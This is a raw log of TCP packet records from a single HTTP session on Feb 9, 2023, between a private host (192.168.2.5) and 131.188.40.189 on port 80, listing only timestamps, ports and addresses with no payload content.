Feb 9, 2023 01:01:55.674814939 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674837112 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674840927 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674868107 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674891949 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674901962 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674917936 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674942970 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674945116 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674967051 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674990892 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674993992 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675019979 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675045967 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675048113 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675070047 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675077915 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675095081 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675101042 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675120115 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675123930 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675146103 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675148010 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675172091 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675189018 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675196886 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675220966 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675224066 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675246000 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675246000 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675267935 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675273895 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675302029 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675302982 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675331116 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675342083 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675359964 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675364017 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675388098 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675390959 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675415993 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675416946 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675443888 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675445080 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675468922 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675473928 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675494909 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675503969 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675523996 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675532103 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675551891 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675563097 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675585985 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675592899 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675615072 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675621033 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675646067 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675649881 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675679922 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675681114 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675709009 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675714016 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675736904 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675745010 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675770044 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675776005 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675796986 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675807953 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675822020 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675843000 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675847054 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675874949 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675884008 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675899982 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675926924 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675926924 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675954103 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.675965071 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.675981998 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676006079 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.676011086 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676043034 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.676043034 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676071882 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676079035 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.676100969 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676106930 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.676131010 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676136971 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.676160097 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676162958 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.676187992 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.676189899 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676217079 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.676217079 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676248074 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676265955 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.676275969 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676302910 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676307917 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.676331043 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676350117 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.676358938 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.676383972 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.676414967 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.697566032 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.697618961 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.697652102 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.697714090 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.697721004 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.697743893 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.697760105 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.697760105 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.697773933 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.697810888 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.697818041 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.697839022 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.697869062 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.697875023 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.697907925 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.697920084 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.697937012 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.697964907 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.697978973 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.697993040 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698024035 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698059082 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698062897 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698091030 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698096991 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698126078 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698144913 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698153019 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698189020 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698190928 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698223114 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698256969 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698267937 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698292017 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698308945 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698333025 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698334932 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698371887 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698406935 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698421001 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698446989 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698457956 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698491096 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698518991 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698525906 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698555946 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698596954 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698602915 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698632956 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698637009 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698679924 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698685884 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698714018 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698723078 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698739052 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698750973 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698776960 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698781967 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698807001 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698812962 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698843956 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698852062 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698872089 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698877096 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698910952 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698913097 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698937893 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.698945045 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698976040 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.698976994 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699003935 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699008942 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699033022 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699050903 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699062109 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699088097 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699093103 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699115992 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699126005 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699145079 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699153900 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699172974 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699178934 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699203014 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699203968 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699235916 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699235916 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699270010 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699280024 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699297905 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699302912 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699326038 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699326992 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699345112 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699379921 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699409008 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699441910 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699459076 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699471951 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699503899 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699505091 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699532032 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699542999 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699558020 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699572086 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699588060 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699613094 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699614048 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699644089 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699652910 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699673891 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699690104 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699704885 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699729919 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699731112 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699764967 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699774981 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699795008 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699805021 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699825048 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699835062 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699857950 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699860096 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699887991 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699906111 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699920893 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699949026 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.699959040 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.699982882 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700011015 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700011969 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700052023 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700069904 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700094938 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700130939 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700139046 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700167894 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700201035 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700201035 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700238943 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700242043 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700269938 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700304031 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700299978 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700342894 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700356007 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700381994 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700417042 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700418949 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700452089 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700473070 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700480938 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700510025 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700512886 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700544119 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700567961 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700581074 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700609922 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700613022 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700640917 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700670958 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700687885 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700705051 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700733900 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700748920 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700762987 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700794935 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700812101 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700826883 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700850964 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700851917 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700884104 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700889111 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700915098 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700947046 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.700948954 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.700980902 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701004028 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701006889 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701035976 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701040983 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701072931 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701081038 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701106071 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701123953 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701136112 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701164961 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701174021 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701195955 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701225042 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701225042 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701261997 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701273918 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701299906 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701318026 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701338053 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701370001 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701384068 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701405048 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701431990 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701442957 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701478958 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701495886 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701513052 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701539040 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701545000 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701576948 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701607943 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701634884 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701659918 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701663971 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701693058 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701700926 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701728106 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701744080 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701765060 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701792002 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701800108 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701836109 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701872110 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701900005 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701908112 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701944113 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701953888 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.701978922 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.701991081 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702013016 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702045918 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702056885 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702084064 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702110052 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702121019 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702157021 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.702184916 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.702192068 CET	80	49738	131.188.40.189	192.168.2.5
